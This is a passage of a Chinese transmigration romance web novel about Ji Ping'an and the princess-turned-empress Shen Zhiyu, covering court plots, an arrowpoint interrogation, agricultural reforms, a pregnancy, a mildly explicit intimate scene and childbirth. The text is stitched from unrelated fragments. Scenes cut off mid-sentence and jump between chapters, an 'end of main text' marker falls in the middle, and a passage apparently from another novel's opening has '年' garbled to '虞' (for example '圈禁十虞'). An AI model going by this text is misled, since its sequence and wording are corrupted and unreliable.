季平安和沈之虞离开屋子后,吴修齐便狼吞虎咽地吃着碗中的饭。 他受伤昏迷再到醒来已经过去了整整一天,期间没有吃过饭,早就饿的不行,刚才也是强撑着精神和季平安说话。 如今吃完碗中的饭,又往嘴里面惯了一大碗水之后,整个人才重重地舒了口气。 只是这口气还没喘完,屋门再次被打开,吴修齐的心再次提了起来。 明明对方只是农户,他却完全不敢掉以轻心。 季平安看到了旁边的空碗,自然问道:“吃完了,还要吗?” 吴修齐摇摇头,心跳都快了些,摇头道:“不用了。” 季平安:“那现在能说你是谁,又为什么会到这里了吗?” 沈之虞在她的旁边,虽然没有说话,但视线一直落在他的身上。 两双目光都很有压迫感,吴修齐感觉后背都出了些冷汗:“……我叫吴修齐,但是受伤的时候可能撞到脑子了,有点记不清了为什么会到这里了。” 他试图靠装失忆,尽量拖延些时间。 只是季平安听到这话,内心更加确定了,眼前这个男人一点都不聪明。 简直是把她和沈之虞都当傻子了。 她叹了口气,往屋子里放背篓的地方走过去,然后拿了支箭过来。 她看向沈之虞,问道:“你来还是我来?” 分明之前没有沟通过,沈之虞却很容易就能明白她的意思,道:“我来吧。” 吴修齐愣了下,有些没有反应过来:“你们要干什……” 话还没有说完,沈之虞便接过季平安手上的箭,将之牢牢抵在了他脖颈的位置。 五皇子沈弘星实在忍不住,一挥袖子将桌上的茶杯全部扫到了地上。 沈弘星:“废物!一群废物!连个人都杀不了,本殿下养着他们都有什么用!” 茶杯碎掉,里面的茶水溅到李帆的鞋上,她神色不变道:“殿下息怒,应该是七公主的人也过去了。” 沈弘星:“那怎么办?难不成真的等她回到京城里吗?” 李帆道:“殿下莫着急,据皇帝身边的人道,七公主虽然还活着,但失去了以往的记忆。” 沈弘星:“失去了原来的记忆?” 他原本害怕的,就是沈之虞回到京城里来会调查祈安寺的事情。 但现在沈之虞失去了记忆,当时参与祈安寺事件的人也全都被他处理了,想来就算沈之虞回到京城里面也无从下手。 沈弘星:“不过我们还是不能掉以轻心。” 他在从前,被沈之虞坑过不是一次两次。 “殿下说的是。”李帆眼眸冷静,“不过还是再往东和县派些人手比较好。” 就算沈之虞现在失忆了,但对方总会有恢复记忆的时候,能不留下隐患就不留下隐患。 沈弘星冷哼一声:“你倒是难得和本殿下想法一致,但派出去了那么多的暗卫,都没有伤到她一分一毫,你要本殿下如何?” 李帆道:“皇后娘娘已经将这件事打点好,现在人已经往东和县的方向去了。” 沈弘星看向她:“母后何时将人派过去的?” 李帆道:“刚才。” 沈弘星微微皱了下眉头:“下次记得回到府上,及时告诉本殿下。” 他的这个幕僚哪里都好,就是有一点,优先遵从他母后的命令。 哪怕知道李帆和他的母后是旧友,沈弘星也还是不爽。 因此他平时遇到事情,都爱和其他的幕僚商量,只有在大事上才会把人叫过来问问。 哪怕听出来了沈弘星语气里的生气,李帆的眼神里面也没有半分波澜,只道了一声:“是。” 然后便从书房里面退了出去。 她这些天都比较忙,今天下午刚好没事能多陪陪岁岁。 岁岁和她道:“云姐姐刚刚给过我了。” 小孩懂事乖巧,更不用说季平安还是府上的“另一个主子”,府里不少人都爱投喂小孩。 糖吃多了容易坏牙,季平安听到这个后,语气里带了些笑意:“那阿姐帮你吃了。” 岁岁点头,过了会儿小声道:“阿姐……”她们从醉仙楼出来后,先回了泥人摊把上好色的泥人取了回来。 上好色的泥人看起来更加真实,惟妙惟肖,哪怕只有寥寥勾勒出来的眉眼,还是能看出来每个人不同的形态。 像岁岁的泥人,头上简单扎着两个团子发髻,小孩稚气可爱的形象便出来了。 季平安自己的泥人,眼尾的位置带了些弧度,笑意盈盈的,很让人满意。 当然,季平安觉得做的最好的泥人,就是沈之虞的这个。 她摊开自己的手心,泥人稳稳地在她掌心,能够看得清清楚楚。 季平安转头问沈之虞道:“有没有很像你?” 泥人和Q版差不太多,脑袋圆圆的,但是嘴角的位置被刻意拉平。 明明稚气可爱的泥人,莫名便带上了些清冷疏离的气质,让人忍不住想伸出手指戳戳。 沈之虞看着眼前头比身子大的泥人:“……一般。” 季平安笑了下,故意问她道:“一般的话,要不要回去再让老板重新捏一个?” 她看着手上的泥人,还是有些心痒,忍不住想多收集些不同表情、不同动作的。 沈之虞默了两秒,才开口道:“季平安。” 突然被喊了名字,季平安的心都提了一下,立刻开始反思自己刚才的话。 难不成沈之虞因为这个玩笑生气了? 前面放着卜卦用的铜钱龟壳,还有一面八卦镜和太极图,最左边竖着根旗子,上面写着四个大字。 季平安认不全,但连蒙带猜也能知道是“神机妙算”。 “无妨”,算命先生看了她们三人一眼,问道:“我们也算有缘,要不要卜上一卦?” 季平安自从穿越到小说里面,还绑定了系统后,唯物主义就碎的渣都不剩。 季平安看着小孩像是有事要说的样子,问道:“怎么了?” 岁岁抿了下唇,才小声问道:“阿姐没有生阿九姐姐的气吧?” 她还记得刚才季平安说沈之虞瞒她的话,但不知道季平安有没有生气,只能试探性地询问。 毕竟阿姐和阿九对她来说都很重要,她不希望两个人闹矛盾。 季平安反应了会儿才明白岁岁的意思,她笑了下才道:“没有生气,我和阿九也没有吵架。” 如果非要说的话,她倒是觉得和沈之虞的关系还拉近了不少。 管事指了个方向道:“在田里和盖房的地方帮忙,我带殿下过去。” 沈之虞嗯了声,路上听着管事说近来田庄的情况。 “殿下说的铁匠和会烧炭的人已经找来了,她们干了几十年经验很多,人也能信得过,看到什么都不会往外说。” “铁炉和库房也都正在建,半个月之后就能盖好。” “云棋姑娘带来的人也安排好了,他们干活的时候都很卖力,做什么都够细致。” 将人安抚好后,两人都慢慢平复着自己的呼吸。 季平安的呼吸还有些乱,但也没有忘记问道:“陛下现在还担心吗?” 沈之虞轻轻摇了摇头。 听到季平安说不能回到原来的世界,她心里的不安彻底消失。 可能很自私,但是她也没有办法放手,只想把人锁在自己的身边。 季平安不知道她的想法,道:“不担心的话,陛下笑一个?” 她还是没忘记刚才哭的沈之虞。 哪怕只有几滴泪,但也能让她的心揪起来。 沈之虞忽视了她的这句话,问起另外一个话题:“你在原来的世界,为什么会去世?” 季平安诚实道:“睡得太晚,加上身体不太好。” 闻言,沈之虞顿了下,看了眼外面的天色。 吃完饭后,她们也聊了许久,也已经很晚了。 “我没什么想问的了,睡觉吧。”沈之虞道。 季平安被逗笑,道:“陛下,我现在的身体很好,不用担心。” 沈之虞嗯了声,从她的怀里出来,道:“睡觉。” 她本就只想知道对方会不会离开,如今得到答案,也确实没有其他想问的了。 季平安唇角的弧度又大了些:“睡觉!” 难得见沈之虞主动早睡,她又怎么能不同意。 等两人躺到床上后,季平安快要睡着的时候,忽然记起来了个被她忽略的事情。 原本还迷迷糊糊的她,瞬间清醒了不少。 她试着用气声小声问道:“陛下,你睡着了吗?” 这样对方哪怕睡着了,也不用担心打扰到人。 沈之虞本就睡得晚,眼神还一片清明,道:“没有。” 季平安:“那你是真的同意当江书思的朋友了吗?” 她还是没有忘记这件事。 沈之虞:“……” 不过她也知道,自己要是不回答的话,估计对方今天晚上都睡不好觉。 “没有。” 得到了自己想要的答案,季平安也彻底放心,笑着道:“那就好。” 确认完,她便安安心心地睡了。 过了一会儿,沈之虞感受着身旁平稳的呼吸。 她看着黑暗中的轮廓,无声地道了句:傻子。 但是眼里却有细碎的放松,唇角也隐隐约约带了些弧度,安心的在人的怀里睡过去。 【正文完】 第 114 章 第 114 章 误会解除后,两人的关系也越来越亲密。 日子一天天过去,气温渐渐升高,树木重新长出繁茂的绿色。 沈之虞送她的花,也被养的很好,早早长出了新叶。 季平安每天早上看过她的花,才会往工部走。 有了图纸,农具制作起来便格外快,工部的人还根据每个郡田地的特点,做了不同的改良,加起来一共有十几种样式。 季平安看着眼前排列成行的农具,道:“那你们就先拿着这些农具去田地里面试试,再和之前的农具对比下,然后告诉我。” 工部的人应道:“您放心,这些事情我们都做的熟练,三日内便能完成。” 沈之虞登基后,朝堂上的人也换了不少,留下的都是有才有能的人。 季平安点头:“辛苦你们了,做得好让陛下给你们赏赐。” 听到这话,工部人的脸上也有了笑,道:“那就要提前谢谢陛下了。” 等到季平安的身影从工部消失,里面的官员才敢聊点儿闲天。 “当时陛下让人来工部的时候,我还怀疑过对方什么也不懂,现在看来我真是大错特错啊!” “是啊,你看看这图纸,多妙啊,怎么咱们就想不到呢!播种的速度绝对能比之前快上一倍不止。” “可不是,这下百姓是真的有福了。我还听说,前段时间的水泥也是她想出来的。” “水泥也是?!陛下果然慧眼如炬,挑的皇后都独一无二,才华出众。” “皇后?你从哪里得到的消息?” “这不是显而易见的吗?陛下还是公主的时候,就和驸马的感情最好,府里也没有其他的人。如今陛下登基,驸马成为皇后不是显而易见的吗?” “理是这样的理,但你可小心些,不要随便在外人面前说。要不然参上你一本,说你揣摩圣意、自作主张可就不好了。” “那是当然,我也就随便聊聊……” 说话间,也到了干活的地方。 许子光把手上搬的石头放好后,直起身来想擦擦额头上的汗,刚好看到了朝这里走过来的她们。 她连忙开口喊道:“恩人!” 许子光出声后,旁边干活的人也都抬起头来,一声声地恩人此起彼伏。 季平安笑了下,问道:“你们这些天怎么样?” “管事给我们安排了住的地方,还给我们每个人都发了两身新衣服,饭也顿顿都能吃饱!” “我做些重活,阿娘年纪大了,就在田庄里面除草锄地,都能有活干。” “是啊,等这个月底发了工钱,日子就能过起来了……” 来到田庄的时候,管事问过他们是先要工钱再干活,还是月底再结工钱。 他们不约而同地选了月底再结工钱。季平安脑袋里疯狂思考,面上也微微敛了些笑容,试探性地问道:“怎么了?” 沈之虞道:“看路。”圈禁十虞后,她就会被活活饿死,这样的结局,季平安当然不能接受。 不行,她不能被圈禁,更不能死,获得二次生命的机会难得,她可不想被困十虞,迎来自己人生的结束。 她一定要改变前身的命运,作为一个皇女,受封两地的王,她就算吃喝玩乐,一直摆烂,也有荣华富贵享受不尽,她疯了才要被圈禁。 圈禁十虞,在这个没有手机网络的时代,没有任何的娱乐手段,人是会疯的。 她之前流感在家半个多月,有手机有网络还觉得无聊呢,何况是十虞。 看过小说的她知道,想要改变前身的结局,关键点在女主沈之虞身上。南秦神龙十一虞,上都城被初雪覆盖,多少文人墨客,风流雅士留下了自己的作品,有人一战成名,亦有人身败名裂。 而在南秦高层的圈子里,讨论最多的还是九皇女楚湘王,跟其王妃沈之虞。 皇室的八卦,永远是热点中的热点,夺嫡更是所有朝廷官员,无法忽视的事情。 而楚湘王季平安,身为先皇后的嫡次女,有着最尊贵,最正统的嫡系血脉,却被提前踢出了局。 就是因为她娶了沈之虞,一个商户女,想要继承大统,除非是有意外发生,基本是不可能的了。 南秦默认的规矩,大王的王妃可以是小户人家,甚至是平民百姓,但绝不能是商户女。 哪怕这个商户女是十八矿矿主的女儿,可商人就是商人,哪怕富可敌国,也改不了其商人的事实。 所以季平安娶了商户女,注定与皇位无缘了。 曾经争夺皇位的热门人选,如今彻底出局,怎么能不令人唏嘘。 然而没有人知道,这个时候的季平安,已经被一个来自现代的法学系大学生替代了。 悠悠醒来的季平安,睁着眼睛盯着床上的帷幔,眼睛里满是不敢相信。 她居然穿越了!!! 现在她成为了这个角色,为了自己,她必须要阻止悲剧的再次发生。 既然她穿到了女主离开王府前,那就还有机会。 她可不想跟前身一样,落得一个悲惨的下场。 话音落下,季平安才转过头看前面,差点撞上一个竖着的木杆和前面的桌子。 “姑娘,小心脚下啊!”说话的人约莫四十来岁,身上还穿着略破的深灰色长袍,留着胡须,坐在摊子后面。 季平安连忙道歉:“不好意思,撞到你的摊子了。” 也是这时候,她才看清楚撞的是个算命摊子。 恩人已经帮了他们这么多,怎么好意思再先要工钱呢。 说着说着,不少人都红了眼眶。吴修齐完全没有想到会是这种情况,冰凉的箭锋让他浑身都颤栗了一下。 他的声音都开始抖:“你们……要干什么……” 季平安:“现在还失忆吗?要不然你好好考虑考虑再开口说话?” 她和吴修齐说话的时候,沈之虞没有犹豫,配合着将手中的箭也浅浅地往前移了一下。 锋利的箭刃顷刻间就刺入到了他脖颈的皮肤,隐隐约约透出些血丝。 季平安看着沈之虞拿箭的白皙的腕骨,还流利地威胁人的动作,内心忍不住赞叹了句:真漂亮。 她脑海中的系统瑟瑟发抖:“宿主……为什么会漂亮?” 难道不是可怕吗? 沈之虞只是淡淡的一瞥,它一个非人机械造物都能感觉到杀意了。 季平安:“杀意可比其他时候更有魅力,你不觉得吗?” 系统:“……宿主说得对。” 不理解但是要附和。“说不定呢。”季平安把三个泥人放到盒子里面,才笑着问道:“你不觉得遇到我很有缘吗?” 沈之虞看了她片刻后,才道:“有缘。” 京城很热闹,出了酒楼走在街上,说笑打闹和吆喝讲价的声音此起彼伏,但季平安还是很清楚地听到了这两个字。 沈之虞的音色偏冷,说话的时候也自带气质,听着格外悦耳。 当然,季平安觉得对方刚才的那句“有缘”尤其好听,比之前说过的话都要好听。 沈之虞竟然肯定了她的话! 季平安还是有些不太相信,看向身旁的人,问道:“我应该没有听错吧?” “没有”,沈之虞重新回答了一遍她的问题,道:“确实有缘。” 听到这话,季平安先是开心,唇角都有些压不下去。 然后心里又有了些疑惑,怎么觉得现在的沈之虞格外坦诚,坦诚地都有些可疑。 她试探着问道:“殿下,你现在心情不错?” 沈之虞:“怎么突然问这个?” 她们走得不快,大部分时候都贴着街边走,偶尔避一下走路匆忙的陌生人。 季平安回道:“你若是心情不好的话,应该根本不会回答我刚才的那个问题吧?” 她刚才问这个问题,也是抱着开玩笑的心思。 谁知道沈之虞竟然真的回答了,答案还让她有些出乎意料。 沈之虞道:“不一定。” 她看着眼前人,不疾不徐地慢声道:“毕竟我也很想知道,有缘人是从哪里来的。” 季平安下意识想回答道,自己不是就在大柳村吗? 但这句话要说出口的时候,她反应过来了沈之虞的意思。 对方早就察觉出她和原主不是同一个人,这句话真正想问的是她自己的身份。 从哪里来,做些什么,和原主之间有什么关系。 季平安:“……” 合着前面的话,全是在为这个问题做铺垫。 不愧是沈之虞,时时刻刻都能给她挖个坑,稍不注意就会掉进去。 她装傻回答道:“大柳村啊。” 沈之虞看着她,似漫不经心地问道:“是吗?” 季平安:“当然是。” 否认的话,她也根本没有办法说出来。 沈之虞轻轻嗯了声。 时间还长,总能知道的。 听着这话,她感觉自己绑定的宿主也不是好惹的,甚至和任务目标还有些像。 季平安:“……” 幻视现代有钱人,在她耳边说“我不想要很多钱,只想要很多爱”,都一样的欠打。 季平安:“你爹说的挺对的。” 修身齐家治国平天下,名字是好名字,就是人不行。 就吴修齐这胆小怕事的样子,若是真的被敌人抓到,没走到他跟前,就把自己知道的全都秃噜出去了。 吴修齐听着她的话,心里想反驳,但行动上却是老老实实地闭着自己的嘴。 季平安又问了几个问题,吴修齐都一一回答了。 但昨天她也不知道七公主还会多带两人去京城,因此也就没有准备多余的马车。 毕竟赶路还是要轻装简从。 季平安的视线扫过客栈门口,也知道了现在的情况。 她看了眼沈之虞,而后自然地道:“不用麻烦夫人了,我和她挤挤就行。” 昨天晚上季平安特地打开了[大雍朝地图],提前把东和县到京城的路看了看。 路程约有八天到十天,中间也会路过其他的县城,基本是越走越繁华,不会到什么荒郊野岭的地方。 因此晚上也不用宿在野外,完全可以在客栈歇歇脚。 若是现在再给她准备一辆马车,说不定还要耽误出发的时间。 镇云侯夫人却没有立刻应下声来,目光看向沈之虞。 见到沈之虞轻轻点头后,她才和季平安道:“好,那姑娘有什么需要的,随时都可以和我说。” 季平安:“谢谢夫人。” 道完谢,她便带着岁岁,和沈之虞一起上了对方的马车。 看不到她们的身影后,镇云侯夫人才收回视线。 在她印象里面,哪怕是宴会,七公主也会和所有人保持距离,不喜人近身。 也不知道这位陌生姑娘,和七公主又是什么关系。 这样想着,镇云侯夫人到了马车上便问了出来,问的对象当然就是吴修齐。 吴修齐正懒散地靠在马车的靠垫上,闻言神秘道:“不可说啊不可说。” 镇云侯夫人冷哼一声,抬起手来就给了吴修齐一巴掌:“少给我卖关子,还有你给我把身子坐直!” 吴修齐立刻老实了,坐直身子无奈道:“……我也不知道她们是什么关系。” 如果非要说,那就是合作威胁过他。第二天早上。 季平安睁开眼睛,先被眼前明亮的光刺了下,缓了几秒才适应。 系统:“宿主,你醒了?” 季平安嗯了声,也是这时候,她也慢慢记起来昨晚的事情,当时危险的场景仿佛还历历在目,之后便是沈之虞安慰她。 见季平安没有打开系统页面的想法,系统主动提醒道:“宿主,任务目标的好感度加了哦~” 听到这话,季平安立刻打开看了看。 可能是因为昨晚受伤的缘故,【生命值】比之前下降了些,但好感度却增加了十点。 沈之虞看着他们还有些消瘦的脸,道:“不必如此,你们先起来。” 季平安也帮着管事把人都拉起来,也道:“干活拿工钱也是理所当然,你们往后肯定能更好!” 他们泪还没擦干,听到这话脸上就又有了笑容。 “恩人说得对,往后能更好!” “我们也别聚在这里了,各回各的位置,好好干活,好好回报恩人!” “今天管事说能吃上肉汤炖菜,我们在天黑之前把活干完!” 季平安克制着自己,只标记了一次。 等到结束,她才拿来里衣给人披上,又细心地帮人将额发上的细汗擦掉,问道:“殿下没事吧?” 沈之虞靠在她的身上,轻轻摇了摇头。 也是这时,季平安的脑海中,听到了熟悉的声音。 【宿主宿主,最近这段时间有没有想我啊~】 【不用惊讶,这是我用能量块变化出来的一串数据。你听到这段话的时候,我应该已经绑定下一位宿主啦!】 【宿主,我总觉得你和任务目标会有更深的缘分,所以这也是我送宿主的小礼物哦。任务目标对你的好感度达到100,这个提示就会自动出现。】 【虽然不知道宿主能不能听到这段话,但我还是祝愿宿主和任务目标能够开开心心,平平安安,一生顺遂。】 ——最喜欢宿主的系统留。 季平安愣了下,才弯了下唇角。 沈之虞注意到,问道:“在想什么?” 季平安垂眸,帮忙按摩着她的腰:“只是在想,我和陛下遇见,算不算命中注定?” 意外被绑定的时候,她也没有想到自己会变成对方的妻子。 沈之虞想了下,道:“或许吧。” 季平安嗯了声,忽然提起另外一个话题:“陛下,我的泥人呢?” 她当时明明放到包裹里面了,但是今天找了一圈还是没有。 沈之虞看了她一眼,道:“当时太生气,扔了。” 季平安眨眨眼,“扔了?” 沈之虞:“有问题?” “没问题”,季平安哄人道:“你当时生气扔泥人也正常。我们改天有时间,再去外面让人捏三个。” 自己的老婆,做什么都是对的。 沈之虞的心里暗道了句傻子,但唇角有了些浅浅的弧度。 她道:“没扔,在岁岁那里。” 话音落下,季平安才反应过来,“陛下,你骗我。” 沈之虞看向她,没说一句话,意思便是:你怎么才意识到。 季平安忍不住笑,又吻了吻她的唇瓣。 “骗吧骗吧,我心甘情愿。” 说完,她又翻出来了旁边的木匣子和平安符。 沈之虞看过去,“药丸也是你的那个世界有的?” 她当时生着季平安的气,自然不会动这颗药丸。 季平安点头:“不过只有一颗,陛下现在吃了吧。” 她的信香虽然能帮助治疗,但药丸可以直接让沈之虞痊愈,不用再担心意外。 沈之虞嗯了声,没有拒绝。 见人吃下后,季平安又把那个平安符拿出来:“这个也是给陛下的,随身带着保平安。” 沈之虞看了眼,却没有接:“我当时去祈安寺的时候已经求过了,你带着吧。” 季平安有些疑惑:“但当时,并没有求到不是吗?” 沈之虞的话不疾不徐,像是吹过的一缕风。 她道:“求到了。” 落下山崖,见到另一个世界的季平安后。 她便求到了平安。 ——正文完。 番外 第115章 春去夏来,季平安和工部生产的农具也已经投入使用。 刚开始,百姓们也不是很信任她们的农具,觉得没有家里的好,说不定是官府来骗银两的。 但是真正试用过后,她们也不再怀疑这些农具,纷纷问在哪里能买到。 “大家稍安勿躁,农具的图纸已经下发到了各个铺子里面,大家去往常卖农具的铺子就能买到。” 定价不贵,和之前的农具价格相同。 但图纸刚下发不久,铺子也生产不出来太多,便显得紧缺,家家户户都想着抢到一架。 玻璃也已经生产完成,洁净透亮,拿出来的时候,便有不少人想购买。 价格都是以黄金计数,孟水山当着铺子老板,刚开始还会担心卖不出去,过了一个月后便应对自如。 她也明白了一个道理,京城里面的富户,最不缺的就是金银珠宝。 水泥在官府的管理下,有条不紊地生产着,南三郡之外的郡县也慢慢用上了。 沈之虞还把工部的一些匠人派去了边关,方便用水泥修筑防御的城墙。 “当今陛下做的全是好事啊!我听远房亲戚说他们那里已经有水泥修筑的堤了,引水特别快,不仅能防洪水,灌溉田地也好用。” “是啊,你用过新出的耧车没有,播种子的时候又快又直。” “当然用过,不过想买的时候没买到,只能租了邻居的。” “那没关系,听官府的人说,往后说不定还有新的农具呢……” 明贞帝昏庸,在位的时候算是民不聊生。 但沈之虞仅仅上位几个月,官府的口碑就好了不少。 民间如此,朝堂亦然。 沈之虞上位后,朝堂上不少官员表面尊重,但心里仍旧是不认同的,认为一个坤泽不可能治理好朝堂。 但到现在,他们也心服口服了。 季平安偶尔从田庄回宫里,还能听到年轻的学子给沈之虞作诗,赞颂她做的事情。 回到宫里后,季平安没有回自己的房间,第一件事便是找沈之虞。 进到殿里,便听到熟悉的声音:“阿姐!” 她笑了下,走过去摸了摸小孩的头:“岁岁也在。” 岁岁点了点头:“我来找阿九姐姐聊天。” 她跟着两人到京城后,读了不少书,懂得也要比在大柳村多上许多。 如今也明白了两人身份的尊贵,但她也没有和两人生疏。 不管如何,对方都是她的阿姐们。 季平安随口问道:“聊了些什么?” 岁岁认真回答道:“我问了阿九姐姐画画的事情,还有这些天看书遇到的问题……” 小孩在说的时候,季平安也坐在了沈之虞的旁边,牵起人的手,动作亲密。 沈之虞侧头看向,想把手抽出来。 她们两人亲密没有关系,但在小孩面前似乎总有些尴尬。 季平安又怎么能不懂,她的指尖轻轻在人的手心里勾了下,让人放心。 她们的关系好,小孩反而会开心。 说到最后,岁岁又抬着小脑袋问道:“阿九姐姐,我什么时候能当小姨啊?” 她知道沈之虞怀孕的事情,也很希望能有个小孩和她一起玩。 “三个月左右。”沈之虞道。 岁岁把这个日期记在心底:“我一定会照顾好她的!” 季平安笑着接话:“好啊,到时候我们岁岁也是个小大人了。” …… 她们又说了会话,小孩便有些困,先回去睡觉了。 让人把岁岁送走,季平安又看向沈之虞,道:“我们也去休息?” 时间不算晚,但沈之虞已经怀孕五个多月了,身体很容易累。 沈之虞点头,道:“走吧。” 她这段时间,把一些事情都交代给了手下的官员,也不用像刚登基的时候那样忙碌。 回到房间,两人到了床上后,季平安问道:“腿疼吗?” “还好。”沈之虞道。 季平安知道怀孕的辛苦,也没把她的“还好”当真:“我再帮你按按,也能舒服些。” 她之前不会按摩,前两个月还特地找太医学了两天,如今按摩起来也有模有样。 沈之虞看着她修长的指骨,道:“今天在朝上,我又提了能够让坤泽入国子监的事情。” 既然想要改革现在的科举制度,那就必然要涉及到每个层面。 普通人家的坤泽可以入学堂,那贵族和世家的坤泽便可以入国子监。 季平安想了下,问道:“是不是不顺利?” 贵族世家最重礼数,哪怕坤泽被允许入国子监,家里的人可能也不会同意。 沈之虞嗯了声,道:“所以我又忍不住提拔了两个坤泽官员。” 这两个人和江书思差不多,都是虞思冬在边关救下来的小孩。 只不过没有养在将军府,交由一些牺牲了家人的人抚养,也能相互陪伴。 闻言,季平安忍不住笑:“这下,他们可要好好纠结了。” 沈之虞:“纠结是好事。” 沈之虞做的一系列事情,就是为了证明她只重用有才能的人。 若是贵族世家中的乾元纨绔无能,却还想要在朝堂上分得一杯羹,会不会让家里的坤泽试试呢? 季平安也认同,“陛下说的对。” 不得不说,沈之虞的计谋着实要比其他人高上许多。 说完,她又道:“不过陛下,这个时候就不要再想朝堂上的事情了。” 沈之虞看向她,道:“那想什么?” 季平安微微挑了挑眉,道:“当然是想睡觉和我啊。” 沈之虞听到,腿轻动了下,道:“别贫。” 季平安刚开始还没有反应过来,自己这话不是很正常。 脑袋转了个弯,她才看向眼前的人道:“陛下,你可能想多了。我只是想说,床上适合睡觉,然后殿下在睡觉的时候也不要忘了想我。” 沈之虞:“……我没多想。” 反驳的很无力就是了。 季平安压不下自己的唇角,只能凑过去吻了吻人,按摩的手也开始不正经,道:“陛下如果想和我睡觉的话,也不是不可以。” 距离她们上一次标记有段时间了,补充补充信香也好。 沈之虞没应,只有唇又贴近了她几分,像是想堵住她的嘴,让人不要再说话了。 季平安的眼眸里闪过些笑意,小心地护着人的肚子,又将人抱紧了些,才吻的深了些。 那本[房事手册]虽然每次出现的时机都不恰当,但用处是有的,季平安也知道了该如何让人更舒服。 先是唇舌,再慢慢绕过下颔,细细的啄吻着人的喉骨。 这处实在太过敏感,沈之虞受不住,被迫仰着头,喉间动了下,插在季平安柔软发丝间的指尖也微微用力。 滚烫的气息交缠,兰花香气也变得馥郁无比,被浓烈的向日葵花信香包裹着。 划过喉骨,季平安又向下,吻上更柔软的位置。 沈之虞的腰下垫着枕头,但指尖还是无意识攥紧了旁边的被子,扯出几分褶皱。 尤其是,当她感觉到对方正在亲吻自己,相比往日要突起些的小腹的时候。 …… …… 这年秋天,沈之虞也快到了生孩子的时候。 她被季平安照顾的很好,这段时间来都没有生过什么病。 反倒是季平安因为过分焦虑,夜里不仅失眠,还染了两次风寒。 沈之虞处理完手上的折子,便看到旁边的人脑袋一点一点的。 她出声道:“季平安?” 听到她的声音,季平安立刻抬起头来,困意也少了许多:“怎么了?” 沈之虞:“你去房间里面休息会儿,我很快就好。” 季平安摇头:“没关系,我再陪你会儿。陛下你也不要坐太久,累了就起来走走。” “好。”沈之虞应声道。 两刻钟之后,她手边的事情也已经处理好了。 只是准备站起来的时候,沈之虞却微微皱了下眉。 季平安注意到,心都提起来一瞬,连忙道:“陛下,怎么了?” 沈之虞道:“肚子有些疼。” 闻言,季平安连忙扶住她,随后叫身旁的人道:“快去叫太医。” 这个场景,她在脑海里面模拟了几十次,所以现在一举一动都有条不紊,看着淡定地过分。 季平安直接将人抱去最近的偏殿,不忘安慰道:“殿下,没事的,不用担心。” 沈之虞嗯了声,侧头看向她,道:“你也别紧张。” 季平安点头:“我没有。” 沈之虞看着她紧绷的唇角:“……” 太医没一会儿就到了,季平安仍然待在房间里。 有个年轻的太医见到,想让她先出去等着,被云琴眼疾手快的拦了下来。 她朝人轻轻摇了摇头,示意不用管这件事。 待在沈之虞身边,云琴也知道两人的感情很深,这种时候季平安又怎么可能会安心等在外面。 生孩子很疼,没一会儿沈之虞的额头上便出了许多汗,握着季平安的手也忍不住攥的紧了些。 房间里有人注意到,拿了块布巾过来,小声道:“可以让陛下拿着这个。” 季平安拒绝了,视线始终看着床上的人。 如果不握紧手的话,慌乱的可能就是她了。 …… 生孩子不仅疼,而且费力气,等到孩子终于出来的时候,沈之虞的脸色也有些苍白。 季平安帮她擦了擦额头上的汗,眼神里面全是心疼:“陛下……” 沈之虞呼吸还有些乱,听到她的语气,想安慰安慰人。 结果侧过头,便看到季平安的眼眶都有些红,像是下一秒就会哭出来。 她轻轻的勾了下唇角,抬手摸了摸人的发丝:“怎么了?” 沈之虞的动作太温柔,季平安本来就到极致的情绪也绷不住了。 她掉着眼泪,还不忘道:“生孩子太危险了,陛下我们就要这一个孩子好不好?” 哪怕沈之虞现在安然无恙,但她也不想再让人经历这件事了。 “好。”沈之虞的声音轻了些,道:“有些困。” 季平安帮她调整了下枕头:“睡吧,我就陪在陛下身边。” 可能是实在太累,她说完这句话沈之虞便闭上了眼睛,呼吸平稳。 季平安看了片刻,轻轻俯身,在她的额头上落下一吻。 【作者有话说】 目前决定要写的番外:1.古代日常(评论区提到的都看到啦)2.IF平安使用了时空穿梭,回到现代。3.现代篇的IF线(大概是视频博主x当红明星) 还有没提到的,可以再在评论区补充~